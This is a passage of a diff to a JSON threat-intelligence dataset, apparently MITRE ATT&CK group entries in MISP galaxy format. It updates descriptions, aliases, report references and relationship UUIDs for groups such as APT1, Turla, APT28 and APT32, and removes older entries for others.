Cover Designator (MUCD) as Unit 61398. (Citation: Mandiant APT1)", "meta": { + "external_id": "G0006", "refs": [ - "https://attack.mitre.org/wiki/Group/G0023", - "https://www.fireeye.com/blog/threat-research/2015/12/the-eps-awakens-part-two.html" + "https://attack.mitre.org/groups/G0006", + "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf", + "http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf" ], "synonyms": [ - "APT16" - ], - "uuid": "d6e88e18-81e8-4709-82d8-973095da1e70" - }, - "value": "APT16" - }, - { - "description": "APT17 is a China-based threat group that has conducted network intrusions against U.S. government entities, the defense industry, law firms, information technology companies, mining companies, and non-government organizations.[[Citation: FireEye APT17]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Group/G0025", - "https://www2.fireeye.com/rs/fireye/images/APT17%20Report.pdf" - ], - "synonyms": [ - "APT17", - "Deputy Dog" - ], - "uuid": "090242d7-73fc-4738-af68-20162f7a5aae" + "APT1", + "Comment Crew", + "Comment Group", + "Comment Panda" + ] }, "related": [ { - "dest-uuid": "c5947e1c-1cbc-434c-94b8-27c7e3be0fff", + "dest-uuid": "1cb7e1cc-d695-42b1-92f4-fd0112a3c9be", "tags": [ "estimative-language:likelihood-probability=\"likely\"" ], "type": "similar" }, { - "dest-uuid": "24110866-cb22-4c85-a7d2-0413e126694b", + "dest-uuid": "1608f3e1-598a-42f4-a01a-2e252e81728f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7fd87010-3a00-4da3-b905-410525e8ec44", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "5a84dc36-df0d-4053-9b7c-f0c388a57283", + "tags": [ + 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"estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "c9cd7ec9-40b7-49db-80be-1399eddd9c52", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b42378e0-f147-496f-992a-26a49705395b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "4900fabf-1142-4c1f-92f5-0b590e049077", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "aadaee0d-794c-4642-8293-7ec22a99fb1a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e51398e6-53dc-4e9f-a323-e54683d8672b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "20a66013-8dab-4ca3-a67d-766c842c561c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "27f3ddf8-1b77-4cc2-a4c0-e6da3d31a768", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "1a295f87-af63-4d94-b130-039d6221fb11", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "6a2e693f-24e5-451a-9f88-b36a108e5662", + "value": "APT1 - G0006" + }, + { + "description": "[Axiom](https://attack.mitre.org/groups/G0001) is a cyber espionage group suspected to be associated with the Chinese government. It is responsible for the Operation SMN campaign. (Citation: Novetta-Axiom) Though both this group and [Winnti Group](https://attack.mitre.org/groups/G0044) use the malware [Winnti](https://attack.mitre.org/software/S0141), the two groups appear to be distinct based on differences in reporting on the groups' TTPs and targeting. (Citation: Kaspersky Winnti April 2013) (Citation: Kaspersky Winnti June 2015) (Citation: Novetta Winnti April 2015)", + "meta": { + "external_id": "G0001", + "refs": [ + "https://attack.mitre.org/groups/G0001", + "http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf", + "http://blogs.cisco.com/security/talos/threat-spotlight-group-72", + "https://securelist.com/winnti-more-than-just-a-game/37029/", + "https://securelist.com/games-are-over/70991/", + "http://www.novetta.com/wp-content/uploads/2015/04/novetta_winntianalysis.pdf" + ], + "synonyms": [ + "Axiom", + "Group 72" + ] + }, + "related": [ + { + "dest-uuid": "c5947e1c-1cbc-434c-94b8-27c7e3be0fff", "tags": [ "estimative-language:likelihood-probability=\"likely\"" ], @@ -562,97 +3742,384 @@ "type": "similar" }, { - "dest-uuid": "a0cb9370-e39b-44d5-9f50-ef78e412b973", - "tags": [ - "estimative-language:likelihood-probability=\"likely\"" - ], - "type": "similar" - } - ], - "value": "APT17" - }, - { - "description": "APT18 is a threat group that has operated since at least 2009 and has targeted a range of industries, including technology, manufacturing, human rights groups, government, and medical.[[Citation: Dell Lateral Movement]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Group/G0026", - "http://www.secureworks.com/resources/blog/where-you-at-indicators-of-lateral-movement-using-at-exe-on-windows-7-systems/" - ], - "synonyms": [ - "APT18", - "TG-0416", - "Dynamite Panda", - "Threat Group-0416" - ], - "uuid": "38fd6a28-3353-4f2b-bb2b-459fecd5c648" - }, - "related": [ - { - "dest-uuid": "9a683d9c-8f7d-43df-bba2-ad0ca71e277c", + "dest-uuid": "24110866-cb22-4c85-a7d2-0413e126694b", "tags": [ "estimative-language:likelihood-probability=\"likely\"" ], "type": "similar" }, { - "dest-uuid": "2fb07fa4-0d7f-43c7-8ff4-b28404313fe7", + "dest-uuid": "090242d7-73fc-4738-af68-20162f7a5aae", "tags": [ "estimative-language:likelihood-probability=\"likely\"" ], "type": "similar" }, { - "dest-uuid": "8e28dbee-4e9e-4491-9a6c-ee9c9ec4b28b", + "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", "tags": [ - "estimative-language:likelihood-probability=\"likely\"" + "estimative-language:likelihood-probability=\"almost-certain\"" ], - "type": "similar" + "type": "uses" + }, + { + "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "94379dec-5c87-49db-b36e-66abc0b81344", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "ad255bfe-a9e6-4b52-a258-8d3462abe842", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "73a4793a-ce55-4159-b2a6-208ef29b326f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "51dea151-0898-4a45-967c-3ebee0420484", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "9b99b83a-1aac-4e29-b975-b374950551a3", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "95047f03-4811-4300-922e-1ba937d53a61", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], - "value": "APT18" + "uuid": "a0cb9370-e39b-44d5-9f50-ef78e412b973", + "value": "Axiom - G0001" }, { - "description": "APT1 is a Chinese threat group that has been attributed to the 2nd Bureau of the People’s Liberation Army (PLA) General Staff Department’s (GSD) 3rd Department, commonly known by its Military Unit Cover Designator (MUCD) as Unit 61398.[[Citation: Mandiant APT1]]", + "description": "[Turla](https://attack.mitre.org/groups/G0010) is a Russian-based threat group that has infected victims in over 45 countries, spanning a range of industries including government, embassies, military, education, research and pharmaceutical companies since 2004. Heightened activity was seen in mid-2015. [Turla](https://attack.mitre.org/groups/G0010) is known for conducting watering hole and spearphishing campaigns and leveraging in-house tools and malware. [Turla](https://attack.mitre.org/groups/G0010)’s espionage platform is mainly used against Windows machines, but has also been seen used against macOS and Linux machines. (Citation: Kaspersky Turla) (Citation: ESET Gazer Aug 2017) (Citation: CrowdStrike VENOMOUS BEAR) (Citation: ESET Turla Mosquito Jan 2018)", "meta": { + "external_id": "G0010", "refs": [ - "https://attack.mitre.org/wiki/Group/G0006", - "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf" + "https://attack.mitre.org/groups/G0010", + "https://securelist.com/the-epic-turla-operation/65545/", + "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf", + "https://securelist.com/introducing-whitebear/81638/", + "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/waterbug-attack-group.pdf", + "https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-march-venomous-bear/", + "https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf" ], "synonyms": [ - "APT1", - "Comment Crew", - "Comment Group", - "Comment Panda" - ], - "uuid": "6a2e693f-24e5-451a-9f88-b36a108e5662" + "Turla", + "Waterbug", + "WhiteBear", + "VENOMOUS BEAR", + "Snake", + "Krypton" + ] }, "related": [ { - "dest-uuid": "1cb7e1cc-d695-42b1-92f4-fd0112a3c9be", + "dest-uuid": "fa80877c-f509-4daf-8b62-20aba1635f68", "tags": [ "estimative-language:likelihood-probability=\"likely\"" ], "type": "similar" + }, + { + "dest-uuid": "c097471c-2405-4393-b6d7-afbcb5f0cd11", + "tags": [ + "estimative-language:likelihood-probability=\"likely\"" + ], + "type": "similar" + }, + { + "dest-uuid": "6b62e336-176f-417b-856a-8552dd8c44e1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "322bad5a-1c49-4d23-ab79-76d641794afa", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "c32f7008-9fea-41f7-8366-5eb9b74bd896", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { 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"7bc57495-ea59-4380-be31-a64af124ef18", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "30489451-5886-4c46-90c9-0dff9adc5252", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "92b55426-109f-4d93-899f-1833ce91ff90", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7e150503-88e7-4861-866b-ff1ac82c4475", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": 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"e358d692-23c0-4a31-9eb6-ecc13a8d7735", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "ffe742ed-9100-4686-9e00-c331da544787", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "514ede4c-78b3-4d78-a38b-daddf6217a79", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "830c9528-df21-472c-8c14-a036bf17d665", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "03342581-f790-4f03-ba41-e82e67392e23", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "cde2d700-9ed1-46cf-9bce-07364fe8b24f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "536be338-e2ef-4a6b-afb6-8d5568b91eb2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f3c544dc-673c-4ef3-accb-53229f1ae077", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "8c32eb4d-805f-4fc5-bf60-c4d476c131b5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7fcbc4e8-1989-441f-9ac5-e7b6ff5806f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "da5880b4-f7da-4869-85f2-e0aba84b8565", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], - "value": "APT1" + "uuid": "7a19ecb1-3c65-4de3-a230-993516aed6a6", + "value": "Turla - G0010" }, { - "description": "APT32 is a threat group that has been active since at least 2014. The group has targeted multiple private sector industries as well as with foreign governments, dissidents, and journalists. The group's operations are aligned with Vietnamese state interests.[[Citation: FireEye APT32 May 2017]]", + "description": "[APT32](https://attack.mitre.org/groups/G0050) is a threat group that has been active since at least 2014. The group has targeted multiple private sector industries as well as with foreign governments, dissidents, and journalists with a strong focus on Southeast Asian countries like Vietnam, Phillipines, Laos, and Cambodia. They have extensively used strategic web compromises to compromise victims. \nThe group is believed to be Vietnam-based. (Citation: FireEye APT32 May 2017) (Citation: Volexity OceanLotus Nov 2017) (Citation: ESET OceanLotus)", "meta": { + "external_id": "G0050", "refs": [ - "https://attack.mitre.org/wiki/Group/G0050", - "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html" + "https://attack.mitre.org/groups/G0050", + "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html", + "https://www.volexity.com/blog/2017/11/06/oceanlotus-blossoms-mass-digital-surveillance-and-exploitation-of-asean-nations-the-media-human-rights-and-civil-society/", + "https://www.welivesecurity.com/2018/03/13/oceanlotus-ships-new-backdoor/" ], "synonyms": [ "APT32", - "OceanLotus Group" - ], - "uuid": "7e5a571f-dee2-4cae-a960-f8ab8a8fb1cf" + "OceanLotus Group", + "APT-C-00" + ] }, "related": [ { - "dest-uuid": "247cb30b-955f-42eb-97a5-a89fef69341e", + "dest-uuid": "7e5a571f-dee2-4cae-a960-f8ab8a8fb1cf", "tags": [ "estimative-language:likelihood-probability=\"likely\"" ], @@ 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"estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "42e8de7b-37b2-4258-905a-6897815e58e0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "f6fe9070-7a65-49ea-ae72-76292f42cebe", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "354a7f88-63fb-41b5-a801-ce3b377b36f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "aafea02e-ece5-4bb2-91a6-3bf8c7f38a39", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "afc079f3-c0ea-4096-b75d-3f05338b7f60", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], - "value": "APT32" + "uuid": "247cb30b-955f-42eb-97a5-a89fef69341e", + "value": "APT32 - G0050" }, { - "description": "APT28 is a threat group that has been attributed to the Russian government.[[Citation: FireEye APT28]][[Citation: SecureWorks TG-4127]][[Citation: FireEye APT28 January 2017]][[Citation: GRIZZLY STEPPE JAR]] This group reportedly compromised the Democratic National Committee in April 2016.[[Citation: Crowdstrike DNC June 2016]]", + "description": "[APT28](https://attack.mitre.org/groups/G0007) is a threat group that has been attributed to Russia's Main Intelligence Directorate of the Russian General Staff by a July 2018 U.S. Department of Justice indictment. This group reportedly compromised the Hillary Clinton campaign, the Democratic National Committee, and the Democratic Congressional Campaign Committee in 2016 in an attempt to interfere with the U.S. presidential election. (Citation: DOJ GRU Indictment Jul 2018) (Citation: Ars Technica GRU indictment Jul 2018) (Citation: Crowdstrike DNC June 2016) (Citation: FireEye APT28) (Citation: SecureWorks TG-4127) (Citation: FireEye APT28 January 2017) (Citation: GRIZZLY STEPPE JAR) (Citation: Sofacy DealersChoice) (Citation: Palo Alto Sofacy 06-2018)", "meta": { + "external_id": "G0007", "refs": [ - "https://attack.mitre.org/wiki/Group/G0007", - "https://www.secureworks.com/research/threat-group-4127-targets-hillary-clinton-presidential-campaign", - "https://www2.fireeye.com/rs/848-DID-242/images/APT28-Center-of-Storm-2017.pdf", + "https://attack.mitre.org/groups/G0007", "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf", - "https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/" + "https://www2.fireeye.com/rs/848-DID-242/images/APT28-Center-of-Storm-2017.pdf", + "https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/", + "https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/", + "https://www.secureworks.com/research/threat-group-4127-targets-hillary-clinton-presidential-campaign", + "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part3.pdf", + "https://www.us-cert.gov/sites/default/files/publications/JAR_16-20296A_GRIZZLY%20STEPPE-2016-1229.pdf", + "https://researchcenter.paloaltonetworks.com/2018/03/unit42-sofacy-uses-dealerschoice-target-european-government-agency/", + "https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/", + "https://www.justice.gov/file/1080281/download", + "https://arstechnica.com/information-technology/2018/07/from-bitly-to-x-agent-how-gru-hackers-targeted-the-2016-presidential-election/" ], "synonyms": [ "APT28", @@ -688,8 +4367,7 @@ "Tsar Team", "Threat Group-4127", "TG-4127" - ], - "uuid": "bef4c620-0787-42a8-a96d-b7eb6e85917c" + ] }, "related": [ { @@ -705,289 +4383,833 @@ "estimative-language:likelihood-probability=\"likely\"" ], "type": "similar" - } - ], - "value": "APT28" - }, - { - "description": "APT29 is threat group that has been attributed to the Russian government and has operated since at least 2008.[[Citation: F-Secure The Dukes]][[Citation: GRIZZLY STEPPE JAR]] This group reportedly compromised the Democratic National Committee starting in the summer of 2015.[[Citation: Crowdstrike DNC June 2016]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Group/G0016", - "https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/", - "https://www.f-secure.com/documents/996508/1030745/dukes%20whitepaper.pdf" - ], - "synonyms": [ - "APT29", - "The Dukes", - "Cozy Bear" - ], - "uuid": "899ce53f-13a0-479b-a0e4-67d46e241542" - }, - "related": [ + }, { - "dest-uuid": "b2056ff0-00b9-482e-b11c-c771daa5f28a", + "dest-uuid": "62b8c999-dcc0-4755-bd69-09442d9359f5", "tags": [ - "estimative-language:likelihood-probability=\"likely\"" + "estimative-language:likelihood-probability=\"almost-certain\"" ], - "type": "similar" - } - ], - "value": "APT29" - }, - { - "description": "admin@338 is a China-based cyber threat group. It has previously used newsworthy events as lures to deliver malware and has primarily targeted organizations involved in financial, economic, and trade policy, typically using publicly available RATs such as PoisonIvy, as well as some non-public backdoors.[[Citation: FireEye admin@338]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Group/G0018", - "https://www.fireeye.com/blog/threat-research/2015/11/china-based-threat.html" - ], - "synonyms": [ - "admin@338" - ], - "uuid": "16ade1aa-0ea1-4bb7-88cc-9079df2ae756" - }, - "related": [ + "type": "uses" + }, { - "dest-uuid": "ac4bce1f-b3ec-4c44-bd36-b6cc986b319b", + "dest-uuid": "e6919abc-99f9-4c6c-95a5-14761e7b2add", "tags": [ - "estimative-language:likelihood-probability=\"likely\"" + "estimative-language:likelihood-probability=\"almost-certain\"" ], - "type": "similar" - } - ], - "value": "admin@338" - }, - { - "description": "APT3 is a China-based threat group that researchers have attributed to China's Ministry of State Security.[[Citation: FireEye Clandestine Wolf]][[Citation: Recorded Future APT3 May 2017]] This group is responsible for the campaigns known as Operation Clandestine Fox, Operation Clandestine Wolf, and Operation Double Tap.[[Citation: FireEye Clandestine Wolf]][[Citation: FireEye Operation Double Tap]] As of June 2015, the group appears to have shifted from targeting primarily US victims to primarily political organizations in Hong Kong.[[Citation: Symantec Buckeye]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Group/G0022", - "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong", - "https://www.recordedfuture.com/chinese-mss-behind-apt3/", - "https://www.fireeye.com/blog/threat-research/2014/11/operation%20doubletap.html", - "https://www.fireeye.com/blog/threat-research/2015/06/operation-clandestine-wolf-adobe-flash-zero-day.html" - ], - "synonyms": [ - "APT3", - "Gothic Panda", - "Pirpi", - "UPS Team", - "Buckeye", - "Threat Group-0110", - "TG-0110" - ], - "uuid": "0bbdf25b-30ff-4894-a1cd-49260d0dd2d9" - }, - "related": [ + "type": "uses" + }, { - "dest-uuid": "d144c83e-2302-4947-9e24-856fbf7949ae", + "dest-uuid": "0259baeb-9f63-4c69-bf10-eb038c390688", "tags": [ - "estimative-language:likelihood-probability=\"likely\"" + "estimative-language:likelihood-probability=\"almost-certain\"" ], - "type": "similar" - } - ], - "value": "APT3" - }, - { - "description": "Ke3chang is a threat group attributed to actors operating out of China.[[Citation: Villeneuve et al 2014]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Group/G0004", - "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-ke3chang.pdf" - ], - "synonyms": [ - "Ke3chang" - ], - "uuid": "6713ab67-e25b-49cc-808d-2b36d4fbc35c" - }, - "value": "Ke3chang" - }, - { - "description": "Group5 is a threat group with a suspected Iranian nexus, though this attribution is not definite. The group has targeted individuals connected to the Syrian opposition via spearphishing and watering holes, normally using Syrian and Iranian themes. Group5 has used two commonly available remote access tools (RATs), njRAT and NanoCore, as well as an Android RAT, DroidJack.[[Citation: Citizen Lab Group5]]", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Group/G0043", - "https://citizenlab.org/2016/08/group5-syria/" - ], - "synonyms": [ - "Group5" - ], - "uuid": "7331c66a-5601-4d3f-acf6-ad9e3035eb40" - }, - "value": "Group5" - }, - { - "description": "FIN6 is a cyber crime group that has stolen payment card data and sold it for profit on underground marketplaces. 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"estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "60c18d06-7b91-4742-bae3-647845cd9d81", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "90ec2b22-7061-4469-b539-0989ec4f96c2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "a4f57468-fbd5-49e4-8476-52088220b92d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "56660521-6db4-4e5a-a927-464f22954b7c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "27f3ddf8-1b77-4cc2-a4c0-e6da3d31a768", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "45242287-2964-4a3e-9373-159fad4d8195", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], - "value": "FIN6" + "uuid": "bef4c620-0787-42a8-a96d-b7eb6e85917c", + "value": "APT28 - G0007" }, { - "description": "FIN7 is a financially motivated threat group that has primarily targeted the retail and hospitality sectors, often using point-of-sale malware. It is sometimes referred to as Carbanak Group, but these appear to be two groups using the same Carbanak malware and are therefore tracked separately.[[Citation: FireEye FIN7 March 2017]][[Citation: FireEye FIN7 April 2017]]", + "description": "[Equation](https://attack.mitre.org/groups/G0020) is a sophisticated threat group that employs multiple remote access tools. The group is known to use zero-day exploits and has developed the capability to overwrite the firmware of hard disk drives. (Citation: Kaspersky Equation QA)", "meta": { + "external_id": "G0020", "refs": [ - "https://attack.mitre.org/wiki/Group/G0046", - "https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html", - "https://www.fireeye.com/blog/threat-research/2017/03/fin7%20spear%20phishing.html" + "https://attack.mitre.org/groups/G0020", + "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08064459/Equation_group_questions_and_answers.pdf" ], "synonyms": [ - "FIN7" - ], - "uuid": "3753cc21-2dae-4dfb-8481-d004e74502cc" + "Equation" + ] }, "related": [ { - "dest-uuid": "00220228-a5a4-4032-a30d-826bb55aa3fb", + "dest-uuid": "10d5f3b7-6be6-4da5-9a77-0f1e2bbfcc44", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "348f1eef-964b-4eb6-bb53-69b3dcb0c643", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + } + ], + "uuid": "96e239be-ad99-49eb-b127-3007b8c1bec9", + "value": "Equation - G0020" + }, + { + "description": "[Moafee](https://attack.mitre.org/groups/G0002) is a threat group that appears to operate from the Guandong Province of China. Due to overlapping TTPs, including similar custom tools, Moafee is thought to have a direct or indirect relationship with the threat group [DragonOK](https://attack.mitre.org/groups/G0017). (Citation: Haq 2014)", + "meta": { + "external_id": "G0002", + "refs": [ + "https://attack.mitre.org/groups/G0002", + "https://www.fireeye.com/blog/threat-research/2014/09/the-path-to-mass-producing-cyber-attacks.html" + ], + "synonyms": [ + "Moafee" + ] + }, + "related": [ + { + "dest-uuid": "a9b44750-992c-4743-8922-129880d277ea", "tags": [ "estimative-language:likelihood-probability=\"likely\"" ], "type": "similar" }, { - "dest-uuid": "55033a4d-3ffe-46b2-99b4-2c1541e9ce1c", + "dest-uuid": "f3bdec95-3d62-42d9-a840-29630f6cdc1a", "tags": [ "estimative-language:likelihood-probability=\"likely\"" ], "type": "similar" + }, + { + "dest-uuid": "519630c5-f03f-4882-825c-3af924935817", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "b42378e0-f147-496f-992a-26a49705395b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" } ], - "value": "FIN7" + "uuid": "2e5d3a83-fe00-41a5-9b60-237efc84832f", + "value": "Moafee - G0002" }, { - "description": "GCMAN is a threat group that focuses on targeting banks for the purpose of transferring money to e-currency services.[[Citation: Securelist GCMAN]]", + "description": "[Ke3chang](https://attack.mitre.org/groups/G0004) is a threat group attributed to actors operating out of China.\n[Ke3chang](https://attack.mitre.org/groups/G0004) has targeted several industries, including oil, government, military, and more. (Citation: Villeneuve et al 2014) (Citation: NCC Group APT15 Alive and Strong) (Citation: APT15 Intezer June 2018)", "meta": { + "external_id": "G0004", "refs": [ - "https://attack.mitre.org/wiki/Group/G0036", - "https://securelist.com/blog/research/73638/apt-style-bank-robberies-increase-with-metel-gcman-and-carbanak-2-0-attacks/" + "https://attack.mitre.org/groups/G0004", + "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-ke3chang.pdf", + "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/", + "https://www.intezer.com/miragefox-apt15-resurfaces-with-new-tools-based-on-old-ones/" ], "synonyms": [ - "GCMAN" - ], - "uuid": "0ea72cd5-ca30-46ba-bc04-378f701c658f" + "Ke3chang", + "APT15", + "Mirage", + "Vixen Panda", + "GREF", + "Playful Dragon", + "RoyalAPT" + ] }, "related": [ { - "dest-uuid": "d93889de-b4bc-4a29-9ce7-d67717c140a0", + "dest-uuid": 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"estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "bb5a00de-e086-4859-a231-fa793f6797e2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "d28ef391-8ed4-45dc-bc4a-2f43abf54416", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7fcbc4e8-1989-441f-9ac5-e7b6ff5806f1", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "e3cedcfe-6515-4348-af65-7f2c4157bf0d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "uses" + }, + { + "dest-uuid": "7bc57495-ea59-4380-be31-a64af124ef18", + 